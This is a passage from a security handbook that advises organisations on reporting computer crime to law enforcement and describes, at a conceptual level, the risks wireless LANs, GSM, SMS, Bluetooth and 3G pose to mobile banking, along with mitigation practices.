We do encourage you to carefully consider the decision to involve law enforcement agencies with any security problem pertaining to your system. In most cases, we suggest that you carefully consider whether you want to involve the criminal justice system at all unless a real loss has occurred, or unless you are unable to control the situation on your own. In some instances, the publicity involved in a case may be more harmful than the loss you have sustained.

Once you decide to involve law enforcement, avoid publicizing this fact. In some cases the involvement of

law enforcement will act as a deterrent to the attackers, but in other cases it may make you the subject of more attacks. Also be aware that the problem you spot may be part of a much larger problem that is ongoing or beginning to develop. You may be risking further damage to your systems and the systems of others if you decide to ignore the situation.

We wish to stress the positive. Law enforcement agencies are generally aware of the need to improve how they investigate computer crime cases, and they are working to develop in-service training, forensic analysis facilities, and other tools to help them conduct effective investigations. In many jurisdictions (especially in high-tech areas of the country), investigators and prosecutors have gained considerable experience and have worked to convey that information to their peers. The result is a significant improvement in law enforcement effectiveness over the last few years, with many successful investigations and prosecutions. You should very definitely think about the positive aspects of reporting a computer crime—not only for yourself, but for the community as a whole. Successful prosecutions may help prevent further misuse of your system and of others' systems.

The Responsibility to Report Crime

Finally, keep in mind that criminal investigation and prosecution can only occur if you report the crime. If you fail to report the crime, there is no chance of apprehension. Not only does that not help your situation, it leaves the perpetrators free to harm someone else. Remember that the little you see may only be one part of a huge set of computer crimes and acts of vandalism. Without investigation, it isn't possible to tell if what you have experienced is an isolated incident or part of a bigger whole.

A subtler problem results from a failure to report serious computer crimes: it leads others to believe that there are few such crimes being committed. As a result, insufficient emphasis is placed on budgets and training for new law enforcement agents in this area; little effort is made to enhance the existing laws; and little public attention is focused on the problem. The consequence is that the computing milieu becomes incrementally more dangerous for all of us.

Playing It Safe . . .

Here is a summary of additional recommendations for avoiding possible abuse of your computer. Most of these are simply good policy whether or not you anticipate break-ins:

- Put copyright and/or proprietary ownership notices in your source code and data files. Do so at the top of each and every file. If you express a copyright, consider filing for the registered copyright—this version can enhance your chances of prosecution and recovery of damages.
- Be certain that your users are notified about what they can and cannot do.
- If it is consistent with your policy, make all users of your system aware of what you may monitor. This includes e-mail, keystrokes, and files. Without such notice, monitoring an intruder or a user overstepping bounds could itself be a violation of wiretap or privacy laws!
- Keep good backups in a safe location. If comparisons against backups are necessary as evidence, you need to be able to testify as to who had access to the media involved. Having tapes in a public area will probably prevent them from being used as evidence.
- If something happens that you view as suspicious or that may lead to involvement of law enforcement personnel, start a diary. Note your observations and actions, and note the times. Run paper copies of log files or traces and include those in your diary. A written record of events such as these may prove valuable during the investigation and prosecution. Note the time and context of each and every contact with law enforcement agents as well.
- Try to define in writing the authorization of each employee and user of your system. Include in the description the items to which each person has legitimate access (and the items each person cannot access). Have a mechanism in place so each person is apprised of this description and can understand his or her limits.
- Tell your employees explicitly that they must return all materials, including manuals and source code, when requested or when their employment terminates.
- If something has happened that you believe requires law enforcement investigation, do not allow your

personnel to conduct their own investigation. Doing too much on your own may prevent some evidence from being used or may otherwise cloud the investigation. You may also aggravate law enforcement personnel with what they might perceive to be interference in their investigation.

- Make your employees sign an employment agreement that delineates their responsibilities with respect to sensitive information, machine usage, electronic mail use, and any other aspect of computer operation that might later arise. Make sure the policy is explicit and fair, and that all employees are aware of it and have signed the agreement. State clearly that all access and privileges terminate when employment does, and that subsequent access without permission will be prosecuted.

Criminal Hazards for Businesses

If you operate an Internet service provider or web site, or have networked computers on your premises, you may be at risk for criminal prosecution yourself if those machines are misused. This section is designed to acquaint you with some of the risks.

If law enforcement officials believe that your computer system has been used by an employee to break into other computer systems, to transmit or store controlled information (trade secrets, child pornography, etc.), or to otherwise participate in some computer crime, you may find your computers impounded by a search warrant or writ of seizure. If you can document that your employee has had limited access to your systems, and if you present that information during the search, it may help limit the scope of the confiscation. However, you may still be in a position in which some of your equipment is confiscated as part of a legal search.

Depending on accepted practices in your legal system, local police or federal authorities may present a judge with a petition to grant a search warrant if they believe there is evidence to be found concerning a violation of a law. If the petition is in order, the judge may grant the search warrant. In the recent past, a few federal investigators and law enforcement personnel in some states developed a reputation for heavy-handed and excessively broad searches. In part, this was because of inexperience with computer crime, and it has been getting better with time.

Playing It Safe . . .

- Be prepared with a network and/or keystroke monitoring system that can monitor and record all information that is sent or received by your computer. If you suspect a break-in, start monitoring and recording immediately: do not wait to be given instructions by law enforcement: in some cases law enforcement agencies cannot give you such instructions without first obtaining a court order, since, by acting upon their instructions, you would be acting as an extension of the law.
- Make contingency plans with your lawyer and insurance company for actions to be taken in the event of a break-in or other crime, the related investigation, and any subsequent events.
- Identify law enforcement personnel who are qualified to investigate problems that you may have ahead of time. Introduce yourself and your concerns to them in advance of a problem. Having at least a nodding acquaintance will help if you later encounter a problem that requires you to call upon law enforcement for help.
- Consider joining societies or organizations that stress ongoing security awareness and training and work to enhance your expertise in these areas.

CHAPTER 10.
MOBILE RISK MANAGEMENT: E-FINANCE IN THE WIRELESS ENVIRONMENT[65]

At a Glance

This chapter documents the risks to electronic security via identity theft, hacking, etc. that wireless technologies may present in the context of delivery of financial services. Although the extent of security measures to be taken is **not** independent of the size of the transactions contemplated, this chapter points out a variety of ways that interactions between technologies create points of vulnerability for security of financial transactions when wireless technology is employed. This chapter lays out a variety of critical actions and measures that system administrators (particularly, in banks) can take in order to mitigate these risks to the largest possible extent and often without great increases in costs of security. The actions suggested in this chapter for mitigating such risks reflect a concerted effort to address what many in the electronic security industry consider to be best practice in regard to electronic security arrangements in the case of use of wireless technologies in the delivery of financial services.

Wireless Technology in Emerging Markets

The rapid growth of wireless technology in many emerging markets and the increasing use of such technologies in coordination with the Internet or on a free standing basis to provide financial services in emerging markets will demand a very careful look at issues related to electronic security. Nowhere is this issue more prevalent in emerging markets than in the area of wireless technology given the extensive spread of cellular technology to many emerging markets. As more and more countries attempt to leapfrog via use of such technologies in the context of providing financial services, it is essential to recognize the potential electronic security breeches that can occur via use of wireless technologies and how market participants and systems administrators at banks or other key providers (e.g., hosting companies or ISPs) can better ensure that problems do not arise. Hence, this chapter attempts to both illustrate how and why electronic security can become a concern and how to mitigate this risk via many actions that may not entail substantial additional costs for providers of financial services. Many of the recommended actions, noted in this chapter related to layered security in the case of wireless applications to provide financial services, represent what can be considered to be best practice in the electronic security industry today. This comes with the important proviso that the rapid changes in technology make this a very difficult area in which to prescribe static guidelines for system administrators within financial service providers.

The chapter is divided into the following sections. Section I introduces the reader to the widespread usage of e-finance and wireless technologies throughout the world. SectionII illustrates the risks that are inherent to the wireless revolution. Section III depicts the vulnerabilities associated with WLANs and the appropriate risk mitigating procedures necessary to secure them. Section IV addresses the evolution of GSM networks and the vulnerabilities that are inherent to them. Section V details the appropriate methods of managing the risk found in GSM networks. Section VI illustrates the best practices for management of risk in the delivery of payment services. Section VII offers a conclusion with a perspective into the future (3G). The purpose of this document is to enunciate a set of security and risk management guidelines for banks and payment services. It aims to provide a framework for security risk assessment applicable to the wireless environment.

I. Overview of e-finance[66]

Electronic financial services, whether delivered online or through remote mechanisms, have spread rapidly. Countries and consumers are increasingly getting connected. These new technologies not only allow countries to leapfrog in connectivity,

[65] See the World Bank paper by Tom Kellermann "Mobile Risk Management: e-Finance for the Wireless Environment (2002)," via link at: http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Publications

[66] For more detailed analysis of the e-security dilemma, refer to "E-security Risk Mitigation for Financial Transactions" authored by Glaessner T., T. Kellermann, and V. McNevin, 2002.

they also open new channels for delivering e-financial services.[67] Since the mid-90s investment in banking technology has focused upon online[68] banking and brokerage services to increase convenience. E-finance has lowered the costs of providing financial services. The Internet eliminates many processing steps and labor costs, while avoiding the fixed costs of branch development and maintenance. A typical customer transaction through a branch or phone call costs about $1 in the U.S., but that transaction costs just $0.02 online. The lower costs for providing financial services have also allowed greater access to financial services. Internet-based services are sometimes as popular in emerging markets as industrialized ones. For example, online banking is nearly as widespread in Brazil as in the United States. Due to the apparent lack of fixed line infrastructure in many developing nations, most financial institutions have implemented wireless e-financial platforms to expand access to their services. Concurrent with these realities, four new technology related industry trends have occurred: outsourcing, open architecture, integrated strategies, and new methods of e-payment.[69]

E-finance is comprised of four primary channels. These are: electronic funds transfers, "EFT"; electronic data interchange, "EDI"; electronic benefits transfers, "EBT"; and electronic trade confirmations, "ETC". EFT is the oldest form of electronic money transmittal, beginning in the early 1960s. There is a huge amount of EFT worldwide among and between banks. The U.S. Treasury estimates the figure to be $2 trillion/day or $700 trillion/year. A significant part of banking EFT via the SWIFT network is actually carried out via international satellite. Currently, half of the world's 200 countries obtain Internet and "Wide Area Intranet" connection via satellite links. Although these are typically the nations with the most developed economies, this involves a significant amount of digital traffic and E- finance operations. This is a major concern in terms of vulnerability.[70] By 2005, the share of online banking could rise from 8.5 percent to 50 percent in industrial countries, and from 1 to 10 percent in emerging markets. Online banking transactions with better connectivity in emerging markets could rise even further to 20 percent by 2005. There could be more than 6 trillion dollars of business-to-business (B2B) transactions online by 2005.[71]

Another trend is moving in tandem with this growth in e-finance: the widespread usage of wireless communications technologies in the developing and developed countries of the world. This relatively new medium is quickly becoming the medium of choice for e-commerce and e-finance. The migration of business from paper-based systems of commerce to Internet-based platforms is profound. As services migrate from these "land lines" to more accessible wireless technologies, the subsequent negative externalities (e.g., war driving) of this phenomenon are beginning to proliferate as well.

Mobile devices are considered to be the developing world's technological springboard. In 1990, there were just 11 million[72] mobile phone subscribers worldwide. By 1999, the proliferation of wireless technologies had exploded to over 500 million. Now that number has almost doubled. One developing country typifies the possibilities of leapfrogging[73] using mobile devices. With a fixed-line network, obliterated after more than 20 years of civil war, Cambodia became connected via the widespread adoption of wireless technology. Within one-year wireless penetration of mobile subscribers outnumbered fixed telephones. Cambodia with one of the world's lowest per capita incomes surpasses 31 countries in overall telephone penetration, including countries with much higher incomes. Rather than spending the vast amount of resources and time to establish fixed-line infrastructure to facilitate telecommunications, countries around the world are substituting hard-wired infrastructure for the relatively cheap and easy to develop cellular towers. There are, however, certain risks related to security associated with such leapfrogging.

Continued economic integration and the new delivery channels for financial services, such as the wireless protocols, will increase opportunities for banks to deliver

[67] Glaessner, T., S. Claessens, and D. Klingebiel. 2001. " E-finance in Emerging Markets: Is Leapfrogging Possible?"
[68] Goldman Sachs and Boston Consulting Group Statistics, 2000.
[69] Gilbride, Edward. *Emerging Bank Technology and the Implications for E-crime Presentation.* September 3, 2001.
[70] Dr. Joseph N. Pelton, "Satellite Communications 2001: The Transition to Mass-Consumer Markets, Technologies, and Systems".

financial services to remote areas. However, these opportunities are not limited to the formal economy. The underground (criminal) economy of the world have adopted technology as well. Integration of financial services across the wireless medium has created an opportunity for identity theft, fund transfer, and extortion.

II. E-finance on Wireless Networks: The Danger

With the benefits of new technology also come risks. Technology facilitates new methods of fraud and theft. Impersonation, remote access, high quality graphics and printing, and new multipurpose tools and platforms create this cornucopia of crime online. With the spread of dial-up-ATMs that provide customer access to money in underdeveloped locations, criminals can manipulate the wireless connection between the dial-up-ATM and the parent bank, thus compromising all transactions that move in and out of the dial-up-ATM. The art of online penetrations (e.g., hacking) was once a very skilled and sophisticated trade. The information age has cultivated a breeding ground for underground hacker websites that now supply dubious individuals with the multi- faceted tools necessary to break into financial platforms. Websites like www.astalavista.box.sk and www.attrition.org supply complex malicious code and viruses that allow novice users to penetrate banking systems. The Internet Data Corporation (IDC) recently reported that over 57 percent[74] of all hack attacks last year were targeted in the financial sector.

The traditional risks of yester-year have been reshaped. Historically, frauds were paper based or people based. In the electronic environment there are new opportunities for e-financial crime. In 2001, more than one fourth (27 percent) of banking and financial databases were breached.[75] Eastern European organized hacker rings have penetrated hundreds of banks worldwide. Hacking has become a business model for organized crime. The FBI's computer crimes division notes that presently many banks are paying off extortion demands for fear of reputation risk and the potential loss of their customer base to competitors. The Egghead hacking incident of last year is a prime example of extortion. Hackers penetrated a database containing 10,000 credit card numbers and then demanded that the company pay them a large sum of cash, in order to protect those numbers from being posted in a chat room. In reality, on Christmas Eve, every one of those compromised cards was charged a minimal sum. Thus the threat goes beyond financial and reputational loss. One forecast suggests that reported incidents of identity theft in the United States will more than triple, from $700,000[76] last year to $1.7 million in 2005, and the costs to financial institutions will increase 30 percent each year, to more than $8 billion in 2005.[77]

Trends in cyber-crime reveal significant growth. Attacks on servers doubled in 2001 compared to 2000, and nearly 90 percent of companies surveyed have been infected with worms or viruses despite having anti-virus software installed, according to the Information Security Industry Survey.[78] The 2001 CSI/FBI Computer Crime and Security Survey stated that over $377 million in total annual losses occurred due to hacking in the United States last year.[79]

The issue of non-reporting is at the heart of why this serious issue has not been dealt with appropriately

---

[71] Jupiter Communications, 2001.
[72] Box 1 of "E-Finance in Emerging Markets: Is Leapfrogging Possible?" Claessens. S, T. Glaessner, D. Klingebiel, 2001.
[73] Leapfrogging is defined as the phenomenon when developing countries build a hi-tech wireless communications infrastructure rather than under taking the massive project of creating a fixed-line infrastructure within their borders.
[74] www.idc.com.
[75] Evans Data Corp. Survey
[76] This figure represents a yearly trend within the United States of America only.
[77] Published in a 2001 report by Celent Communications. The projections were made using FTC data.
[78] http://www.infosecuritymag.com/articles/october01/images/survey.pdf.
[79] James Savage, Special Agent in Charge, Secret Service, Financial Crimes division, stated that: " This figure represents critical infrastructure losses that the business community is willing to admit having suffered." He suggested that this figure may represent only a minuscule fraction of the actual damage incurred to the U.S. business community. October 3, 2001.
[80] Cornelius Tate, Special Agent, CERT depicted the lack of reporting:" I think the dollar loss is actually higher than what is being reported. In my experience, I see companies not reporting or downplaying their compromises or losses. I think, a lot of the reduced reporting comes down to the company attempting to reduce the "shock" to the stockholders and the public. I think, you will see noticeable increase in the dollar amount from year to year (although the number of respondents remain consistent) because companies are more aware of the fact that everyone is susceptible to being a victim, and to be a victim has become acceptable and does not equate to a loss of 'public confidence.'" (October 4, 2001).

worldwide.[80] Financial entities and corporations are fearful of reporting their losses due to the public image ramifications and thus remain complacent to the presence of the threat. If it becomes known that a financial provider has fallen victim to a computer crime or fraud, there is the assumption that their customers will lose confidence in them and their ability to protect information. It's essential for financial service providers to maintain control of their systems mitigate compromises to their security. The wireless medium, which is proliferating worldwide, is not a secure medium. The haste by which countries have adopted wireless platforms for the purposes of e-finance has created a significant quandary.

III. Wireless Local Area Networks (WLANs)

Wireless networks are currently available in three basic formats: wireless LANs (WLANs) using the 802.11b protocol; CDMA/TDMA/GSM (cellular and PCS) networks used for wireless phones and personal digital assistants (PDAs); and high powered microwave systems used by telephone companies for long haul, line-of-sight communications. While all of these are common throughout the world, they all suffer from the same basic security flaw; they use radio frequency (RF) technology to transmit their information. This can result in their transmissions being compromised.

Wireless networks (WLANS) have seen explosive growth in their deployment. With cost savings at an all time high and with the simplicity of installation, WLANs have been deployed rapidly, especially by financial institutions. Wireless networks were supposed to do what traditional Ethernet LANs do without cables. Convenience for the customer is paramount in the proliferation of wireless. Currently wireless technology is built around the 802.11b IEEE standard in the United States and the GSM standard in Europe. When designing a wireless network, there are important security concerns one should keep in mind.

There are seven basic categories of wireless network security risks:[81]

1. **Insertion Attacks** – The intruder attempts to insert traffic into your network, typically through an unsecured mobile access point.

2. **Session Hijacking**—Also known as the man in the middle attack, it is possible to hijack a wireless session based upon the reality that the phone authenticates itself to the base station but not vice versa. It is possible to emulate the base station and thus hijack a phones session.

3. **Jamming** – This is a DoS (Denial of Service) attack where the attacker tries to flood the radio frequency (RF) spectrum of your wireless network by broadcasting packets at the same frequency as your network.

4. **Encryption Attacks** – The IEEE 802.11b wireless network standard uses an WEP (Wired Equivalent Privacy) encryption method. This standard uses weak encryption and Initialization Vectors (IVs) and has been cracked successfully many times.

5. **Traffic Interception and Monitoring (War Driving)** – Wireless packets using the 802.11b standard have an approximate transmission distance of 300 feet. This means that anyone with the proper standard equipment can receive that signal if they are in transmission range. Equipment to further extend that range is easily available, so the area of interception can be quite large and hard to secure properly.

6. **Mobile Node to Mobile Node** – Most mobile nodes (laptops, PDA's) are able to communicate directly with each other if file sharing or other TCP/IP services are running. This means that any mobile node can transfer a malicious file or program rapidly throughout your network.

7. **Configuration Issues** – Any wireless device, service, or application that is not correctly configured before installation and use can leave an entire network at risk. Most wireless devices and applications are

[81] Chris Bateman of CERT Analysis Center contributed the seven wireless vulnerabilities.

pre-configured to accept any request for services or access. This means any passing mobile client can request and receive telnet sessions or ftp.

8. **Brute Force Attacks** – Most wireless access points use a shared password or key for all devices on that network. This makes wireless access points vulnerable to brute force dictionary attacks against passwords.

War driving

Industrial espionage and white-collar crime has reached new heights with the advance of new technologies. War dialing, the hacking practice of phoning up every extension of a corporate phone network until the number associated with the firm's modem bank is hit upon, has been replaced by war driving. War driving involves motoring targeted financial institutions and corporate headquarters with a laptop fitted with a WLAN cardand trying to record network traffic (sniffing). According to Dave Thomas, the Chief Investigator of the FBI Computer Crimes Division, war driving is a wide-spread phenomenon that jeopardizes the security of all institutions and corporations who implement WLANs.

When testing and deploying WLANs, a network administrator may find that their laptops can only connect to the access points within a certain distance and therefore assume that the signals don't travel beyond this point. This is a flawed assumption. In fact, these signals may travel for a several thousand meters given there is nothing in the way to deflect or interrupt the signal. The reason for this misconception is that the small antennae in the laptops cannot detect the weaker signals. However, using external antennae, the range can be vastly extended. The wireless segment is usually omni directional so a potential adversary need not gain physical access to the segment to sniff (or record) the packet traffic. As a result WLANs are susceptible to message interception, alteration, and jamming.

The above considerations raise the issue of how to better secure wireless networks. This will be as critical as securing fixed- line Internet systems in the emerging markets as highlighted above. Each of these security breaches and associate risks can be minimized or negated with the proper use of security policy and practices, network design, system security applications, and the correct configuration of security controls. The last chapter of Part 3 includes information on how to secure WLANs.

IV. The European Cellular Standard: GSM

GSM is the world's most widely deployed and fastest growing digital cellular standard. Currently, there are nearly 600 million GSM subscribers worldwide, more than two thirds of the world's digital mobile population.[82] And this figure is increasing by four new users per second. GSM covers every continent, being the technology of choice for 400 operators in over 170 countries. But this is only the beginning of the wireless revolution. The industry predicts that there will be over 1.4 billion GSM customers by the end of 2005. GSM phones have a small smart card inside them, which holds the identity of the cell phone. This small smart card is called Subscriber Identification Module (SIM). The SIM must keep the identity inside secret and uses cryptography to protect it. The SIM card may be seen as a strength and a weakness of the GSM technology.

GSM Vulnerabilities

The SIM Card Vulnerability

In both European and American GSM systems, the network access method is the same. Removable smart cards in the phone (SIM cards) are used to store phone numbers, account information, and additional software such as wireless web browsers. The data on the cards are encrypted, but the COMP128 algorithm that protects the information on the card has been compromised, thus making these cards susceptible to duplication. War driving is not a substantial issue for cellular subscribers utilizing GSM. Regardless of frequency, cellular signals can easily be jammed. There is a widely known method forrecovering the key for an encrypted GSM conversation in less than a second using a PC with 128 MB of RAM and 73 GB of hard drive space.

[82] The North American GSM system currently operates at 1900mhz in conjunction with digital PCS services. The data services associated with GSM are Short Message Service (SMS), Analog Cellular Switched Data (CSD), and General Packet Radio Service (GPRS).40 Most of European Cellular Carriers use a form of GSM, in either 900mhz or 1800mhz.41 Europeans also have the option of using High Speed Circuit Switched Data (HSCSD), which combines several channels into a single channel capable of 38.4 KBPS. GPRS is also available in most countries.

The security of GSM phone technology is circumspect. It is possible to clone GSM SIM cards. The hack attack is possible because critical algorithms are flawed making it possible to dump the contents of the SIM cards and then emulate them using a PC.43 This latest problem could render GSM phone conversations totally insecure. For a bank there are other issues. For example, a remote teller machine could be tricked into communicating with a fake mobile tower because it cannot reach a real one. This would allow the perpetrator to remotely control the transmissions of funds via the teller machine.

The SMS Vulnerability45

GSM offers Short Message Services (SMS). SMS is used in GSM systems for many reasons, such as voice-mail notification, updating the subscriber's SIM, sending short text messages, and communicating with e-mail gateways. Whereas these services are convenient, they pose an additional risk to the security of the network. SMS is a store and forward service that is inherently insecure because the messages that are transmitted in clear text and subsequently stored in clear text at the SMS center before being forwarded to their intended recipients. SMS also suffers from latency problems. Time critical transactions should not rely on this channel. There is freely available software that can spoof SMS messages, send SMS bombs both to handsets and SMS gateways (used to communicate between devices both on and off the network), and corrupt SMS packets that can crash the software on most handsets.

SIM Toolkit technology (STK) can be used to provide encryption security through the SMS channel. However, this is a transport layer security mechanism, and it does not provide end-to-end confidentiality for the customer PIN. Additional procedures for improving SMS security might include customers checking their personal assurance messages and the service provider, in turn, verifying the registered phone numbers of customers.

The GPRS Vulnerability

General Packet Radio Service (GPRS) is an IP packet-based service that allows an always-on connection to the Internet. The main problem with this is that it still relies on SMS for WAP push requests. A spoofed (cloned) SMS packet can be sent to the phone requesting a redirected site and fooling users into entering their information into what they believe is a secure order form, but is really a fake site. Many GPRS enabled phones also support Bluetooth. Each Bluetooth device has a unique address, allowing users to have some trust in the person at the other end of the transmission. Once this ID is associated with a person, by tracking the unscrambled address sent with each message, individuals can be traced and their activities easily logged. For Bluetooth devices to communicate, an initialization process uses a PIN for authentication. While some devices will allow you to punch in an ID number, you can also store a PIN in the device's memory or on a hard disk. This is highly problematic if the physical security of the device cannot be guaranteed. Also most PINs use four digits and half the time they are"0000."

The security of Bluetooth is based on keeping the encryption key a secret shared only between participants in the network. But imagine you and I are having a conversation using our Bluetooth cell phones. To keep the conversation secure, I use your secret key to encrypt his/her information. Later that day, a friend calls you again and you use your key. Knowing your key, I can use a faked device address, determine the encryption, and listen to your phone conversations. I could also masquerade as you or your friend. Bluetooth only authenticates devices, not users.

WAP Weaknesses

The common flaw in any of these devices, no matter what network, is the Wireless Application Protocol standard, which also includes Wireless Markup Language (WML) and Handheld Device Markup Language (HDML). For the sake of convenience, developers try to require the least amount of keystrokes when entering in credit card number, personal, or account information. This means that most of this information is still stored on a server, but the password to access that server is stored in a cookie on the handheld device, requiring only a PIN or sometimes nothing at all to shop online or transfer funds. This leaves the actual mechanism used to transport sensitive information end to end in these untrusted public cellular networks, which is left to Wireless Transport Layer Security (WTLS).

Unless 128 bit SSL for mobile commerce or IPSEC for Enterprise access is being used (which most handsets can't support due to lack of processing power and bandwidth), there will be a weak link somewhere in

the network that can be exploited. Even then, this only pushes the weakness out to the end devices that are communicating, and can be easily lost. GSM uses the Wired Application Protocol (WAP) and also the Wireless Transport Layer Security (WTLS). This is equal to Secure Socket Layer (SSL) but has weaker encryption algorithms. WTLS is not compatible with SSL, which is the industry standard. Wireless messages travel through a "gateway" which channels them to a wired network for retransmission to their ultimate destination. At the gateway the WTLS message is converted to SSL. For a few seconds, the message is unencrypted inside the gateway, which in turn makes the communication vulnerable to interception.

V. Security Solutions for GSM

The inherent problems affecting GSM are not easily corrected. The telephones and PDA's that utilize GSM technology typically cannot upload protective firmware andsoftware. Users are at the mercy of the telephone developer. Whereas GSM is not vulnerable to war driving like its American counterpart, 802.11, it is suffering from four core vulnerabilities. The 802.11 standard is geared towards computers not hand-helds and thus security can be improved much more drastically for 802.11 than for the GSM protocol. Virtual Private Networks are the common thread between the two. The establishment of VPNs is commonly referred to as the solution for the existing vulnerabilities of GSM and 802.11. However when it comes to proper layered security there are no magic bullets. Further information on securing wireless networks may be found at the end of Part 3 and in Part 5: Security for Technical Administrators.

VI. Banking Security Practices[83]

As a result of the widespread usage of GSM for the delivery of e-financial services, there are certain control and security standards that financial providers should adhere to when providing wireless access to payment systems.

Payments through Third Parties

As a general rule, banks should directly authenticate their own customers in respect of the wireless payment transactions made. Customers may, however give their banks specific standing authorizations to accept payment debits from specified providers or third parties to charge the customers' accounts. Such arrangements could, for example, be made through Direct Debit Authorization agreements. However, when operating under these arrangements, third parties should neither obtain nor store the customers' personal banking IDs or PINs for the purpose of raising debit transactions against the customers' bank accounts.

Stored Value Accounts (SVA)

SVAs are utilized by customers who transfer funds into these accounts for the purpose of making periodic payments. SVAs may reside in mobile devices. No bank account should be accessed in making a payment. Bank accounts should be used only for replenishing SVAs at the customer's direction.

Close Proximity Wireless Payments

Close proximity wireless payment services are typically intended for over-the-counter retail payments. Such transactions should be completed only after customers have given explicit authorizations at points-of-sale. In the absence of such authorizations, it is possible that customer's funds may be involuntarily deducted from their SVA. Thus, explicit authorization should be mandatory for any payment request.

Interactive Voice Response (IVR)

Mobile IVR services are vulnerable to eavesdropping through the interception of calls. IVR systems should not be used for high-risk and/or value services. All IVR sessions should be recorded including the caller's phone number, the sequence of transactions made by a customer. Pin or authentication data should not be logged.

[83] Section provided by Tony Chew, Director, Technology and Risk Supervision of the Monetary Authority of Singapore.

Customer Education

Banks should educate the consumer of mobile e- financial services in the following ways:

- Customers should be advised to use different PINs for different online services.
- Instructions should be provided to customers on how to configure their mobile devices to access mobile banking and payment applications in a safe manner.
- Customers should be advised as to the appropriate dispute handling, reporting procedures, and the expected time for resolution of complaints.

A View into the Future: 3G Technology

3G s signifies third generation of wireless communication technology. It refers to pending improvements in wireless data and voice communications through any of a variety of proposed standards. The immediate goal is to raise transmission speeds from9.5K to 2M bit/sec. In systems and communications security the goal is not to design a flawless system, but a system that can adapt to security enhancements as the need for them is identified. Several of the attacks that were possible on 2G and 2.5G networks have been addressed and eliminated in the 3G environment.

The Strengths of 3G's Security Structure

3G security was based on GSM security, with the following important changes:

- A change was made to defeat the false base station attack. The security mechanisms include a sequence number that ensures that the mobile can identify the network.
- Key lengths were increased to allow for the possibility of stronger algorithms for encryption and integrity.
- Mechanisms were included to support security within and between networks.
- Security is based within the switch rather than the base station as in GSM. Therefore, links are protected between the base station and switch.
- Integrity mechanisms for the terminal identity (IMEI) have been designed in from the start, rather than that introduced late into GSM.
- The authentication algorithm has not been defined, but guidance on choice will be given.
- When roaming between networks, such as between a GSM and 3GPP, only the level of protection supported by the smart card will apply. Therefore, a GSM smart card will not be protected against the false base station attack when in a 3GPP network.

The 3G system is far more secure than her GSM counterpart. That being said, the ingenuity of nefarious individuals should never be underestimated. Given this, there are certain attacks that are theoretically possible on a 3G network. They are described below.

Camping on a False Base Station

An attack that requires a modified Base Station/Mobile Station (BS/MS) and exploits the weakness that a user can be enticed to camp on a false base station. A false BS/MS can act as a repeater for some time and can relay some requests in between the network and the target user, but subsequently modify or ignore certain service requests and/or paging messages related to the target user.

The security architecture does not prevent a false BS/MS relaying messages between the network and the target user, neither does it prevent the false BS/MS ignoring certain service requests and/or paging requests. Integrity protection of critical message may however help to prevent some denial of service attacks, which are induced by modifying certain messages. Again, the denial of service in this case only persists for as long as the attacker is active unlike the above attacks, which persist beyond the moment where intervention by the attacker stops. These attacks are comparable to radio jamming which is very difficult to counteract effectively in any radio system.

Forcing Unencrypted Communications

This attack requires a modified BS/MS. While the target user camps on the false base station, the intruder pages the target user for an incoming call. The user then initiates the all set-up procedure, which the intruder allows to occur between the serving network and the target user, modifying the signaling elements such that for the serving network it appears as if the target user wants not enable encryption. After authentication the intruder cuts the connection with the target user, and subsequently uses the connection with the network to make fraudulent calls on the target user's subscription.

Integrity protection of critical signaling messages protects against this attack. More specifically, data authentication and replay inhibition of the connection set- up request allows the serving network to verify that the request is legitimate. In addition, periodic integrity protected messages during a connection helps protect against hijacking of unenciphered connections after the initial connection establishment. However, hijacking the channel between periodic integrity protection messages is still possible, although this may be of limited use to attackers. In general, connections with ciphering disabled will always be vulnerable to some degree of channel hijacking.

Again it should be pointed out that these attack profiles are theoretical in nature based on an understanding of how the technology will be deployed. All in all, 3G systems have enhanced and improved security technology in place, but continued vigilance is necessary to maintain their security to set-up a mobile originated call.

VII. Conclusion

The most distributed networks are the most vulnerable to interception and unauthorized access. There is often maximum vulnerability to interception at the point where there is interconnection between fiber, coax, satellite, and terrestrial wireless systems. Air interface standards are but one example where modern telecommunications and IT systems are open to interception.

The market has followed the trend of the so-called Pelton Merge[84] that calls for continued improvement of "seamless interface standards" that allows the smooth interconnection of fiber, coax, terrestrial wireless, satellites, and other new and evolving technologies, such as high altitude platforms. The challenge is to develop standards that allow easy and reliable interconnection and also protect security.

One possible solution might be to re-examine the ISO seven layer model of telecommunications and, in particular, to consider the creation of a new layer that provides truly secure based on a 256 or even 1024 bit code that is constantly updateable. Further study would need to be given to whether the ultimate solution is a separate layer or the re-engineering of part of an existing layer that could be devoted to this task. Nonetheless, the risks associated with e- finance are great.

The confidentiality and integrity threat posed by the GSM and 802.11 protocols can be mitigated to an extent. Beyond the use of VPNs, the protection of the gateway and the correspondent servers is essential. It is important for banking institutions to comprehend the various methods that may help to protect the network resources themselves while the VPN technology protects the authorized payload. Banks and their correspondent telecom partners should begin to institute proper layered security measures particularly at the "gateway" level. Mitigation of the risk associated with mobile communications will become more critical as commerce and finance increasingly are conducted over what amount to vulnerable, integrated technologies. The widespread adoption of WLANs and GSM technologies by financial institutions around the world has weakened the security of the payment system. These porous mediums were not developed for the movement of digital assets. As the apparent trends of e- finance continue, "mobile risk management" is going to become increasingly more important to the banking industry in the years ahead.

[84] Contributed by Dr. Pelton, Executive Director of the Clarke Institute.

CHAPTER 11.
BEST PRACTICES: BUILDING A SECURITY CULTURE

At a Glance

In Part 3 we have described the security role and functions in the organization, whether that organization is a small or medium-sized business, a non-profit entity, an academic institution, or a government agency. In discussing the responsibility for organizational security, we have emphasized that someone must take the lead role, but we have not assumed that there will be an exclusive staff position of Chief Security Officer, for example, with the exception of larger organizations. In SMEs there are often budget and staffing constraints that make it unlikely to have official Chief Security Officers (CSOs) or other full-time security experts on the payroll. Nevertheless, any enterprise driven by or dependent on technology should have one person, or at most a small group of people, designated with responsibility for security. Uniform procedures, good reporting standards, and vigilant, but friendly, relationships with other employees, outside contractors, vendors, and customers will help this employee or team perform the necessary functions for the organization. This chapter provides detailed suggestions on taking a layered approach to security, including a policy statement on the twelve layers of security. This statement is followed by a selection of checklists that will help employees and members of the management team with day-to-day responsibility for security in the organization.

Best Practices: The 12 Layers of E-Security[85]

Management of e-security risks can be thought of as a twofold process. The first part is risk analysis, which has three major components: identify and inventory assets for a baseline, analyze and assign values to the assets, and establish how critical each asset is, in priority order.

The second part of security is development of an approach to risk management. The major elements of risk management are to develop and implement policies and procedures, educate users (employees and customers), and audit and monitor for quality assurance. A prudent approach might reflect the following thesis: "Expect to be hit – Prepare to survive."

